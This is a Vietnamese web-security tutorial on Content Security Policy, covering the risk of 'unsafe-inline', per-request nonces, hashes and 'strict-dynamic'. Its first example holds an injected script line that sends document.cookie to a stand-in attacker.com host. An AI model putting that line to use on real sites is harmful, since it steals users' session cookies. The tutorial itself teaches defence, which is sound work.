FEMastery
6Level 6 · Security

Security — Không biết là toang

Trình duyệt là một môi trường phân tán thù địch: nó mặc định từ chối mọi thứ không đáng tin, và chỉ cần hiểu sai một cơ chế bảo mật nhỏ nhất là đủ để toàn bộ ứng dụng của bạn bị kiểm soát bởi kẻ tấn công.

Content Security Policy (CSP)Trusted TypesDOM clobberingPrototype pollutionSame-origin policy nuancesService Worker lifecycle trapsSharedArrayBufferTransferable objectsCORS preflight internalsOffline conflict resolution
0%
8 phút đọcDanh sách cho phép chống XSS mạnh mẽ nhất

Content Security Policy (CSP)

CSP cấu hình danh sách cho phép (allowlist) các nguồn tài nguyên hợp lệ. Sử dụng nonce động theo từng request là cách tối ưu nhất để loại bỏ XSS mà không cần vô hiệu hóa inline script.

Hiểm họa từ 'unsafe-inline' và cơ chế của CSP

Content Security Policy (CSP) là cơ chế bảo mật ở cấp độ trình duyệt, được truyền qua header HTTP phản hồi từ máy chủ. Nó cho phép lập trình viên giới hạn nguồn tải của các tài nguyên như script, style, image, hay iframe. Một cấu hình CSP sai lầm phổ biến là thêm 'unsafe-inline' vào directive script-src để ứng dụng hoạt động bình thường mà không cần sửa code cũ.

Tuy nhiên, 'unsafe-inline' sẽ vô hiệu hóa phần lớn khả năng bảo vệ của CSP chống lại các cuộc tấn công Cross-Site Scripting (XSS). Kẻ tấn công khi tiêm được một đoạn mã độc dạng <script>maliciousCode()</script> hoặc qua các thuộc tính sự kiện (onload, onerror) sẽ được trình duyệt thực thi trực tiếp vì không có cơ chế nào để phân biệt đâu là inline script của nhà phát triển và đâu là của kẻ tấn công.

http
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';

<!-- Attacker có thể tiêm đoạn script này và trình duyệt vẫn chạy thoải mái -->
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
Một cấu hình CSP lỏng lẻo và nguy hiểm

KHÔNGKhông bao giờ được sử dụng 'unsafe-inline' hoặc 'unsafe-eval' trong directive script-src trên môi trường sản xuất nếu không có cơ chế bảo vệ bổ sung.

VÌ SAO'unsafe-inline' phá hỏng mục tiêu cốt lõi của CSP, vì trình duyệt sẽ chấp nhận mọi mã script nội tuyến mà không cần xác thực nguồn gốc.

Triển khai Nonce động và Hash để bảo vệ inline script

Để cho phép các inline script hợp lệ hoạt động mà không cần bật 'unsafe-inline', chúng ta có hai cách tiếp cận chính: sử dụng Nonce (Number used once) hoặc sử dụng mật mã Hash.

Với cách dùng Nonce, máy chủ web phải tạo ra một chuỗi ngẫu nhiên, không thể đoán trước (sử dụng module mã hóa bảo mật như crypto.randomBytes) cho MỖI lượt request. Chuỗi này được đưa vào header CSP dưới dạng 'nonce-VALUE' và đồng thời được chèn vào thuộc tính nonce của các thẻ <script> tương ứng trong HTML. Trình duyệt chỉ thực thi những inline script mang đúng giá trị nonce trùng khớp với header.

Với các ứng dụng tĩnh (như Single Page Application được build sẵn), việc tạo nonce động ở runtime có thể khó khăn. Khi đó, ta dùng Hash: tính toán mã băm SHA-256 của toàn bộ nội dung text bên trong thẻ <script> đó, và khai báo mã băm này trong header CSP.

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4Nd0m_K3y_2026';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

<!-- Inline script này sẽ được chạy vì nonce trùng khớp -->
<script nonce="r4Nd0m_K3y_2026">
  console.log("Ứng dụng khởi tạo an toàn!");
</script>

<!-- Script độc hại bị tiêm sẽ bị chặn đứng vì không có nonce hoặc nonce sai -->
<script>
  alert("Hacker attack!");
</script>
Cấu hình CSP dùng Nonce động bảo mật

NÊNTạo nonce ngẫu nhiên có độ dài tối thiểu 128-bit từ nguồn entropy mạnh ở phía server cho mỗi request HTTP.

CẢNH BÁONếu tái sử dụng một nonce cố định (hardcoded nonce) hoặc sinh nonce theo thuật toán dễ đoán, CSP của bạn sẽ hoàn toàn bị vô hiệu hóa.

Tối ưu hóa với 'strict-dynamic'

Trong các ứng dụng hiện đại, script tin cậy thường tải thêm các script phụ khác (dynamic script loading). Nếu sử dụng mô hình CSP cổ điển dựa trên host-allowlist (ví dụ cho phép https://apis.google.com), kẻ tấn công có thể lợi dụng các endpoint JSONP lỗi thời trên các domain tin cậy này để vượt qua CSP.

Cơ chế 'strict-dynamic' giải quyết vấn đề này. Khi được thêm vào script-src kèm theo một nonce hoặc hash, nó chỉ thị cho trình duyệt: 'Bất kỳ script nào đã được tin tưởng (thông qua nonce/hash) đều có quyền tải thêm các script khác một cách động, và các script phụ đó cũng tự động được tin tưởng'. Trình duyệt lúc này sẽ bỏ qua toàn bộ danh sách host-allowlist, thu gọn phạm vi bảo vệ.

http
Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic' https:;
CSP hiện đại sử dụng strict-dynamic

MẸOSử dụng 'strict-dynamic' giúp giảm thiểu công sức bảo trì danh sách domain cho phép khổng lồ trong các dự án lớn dùng nhiều thư viện bên thứ ba.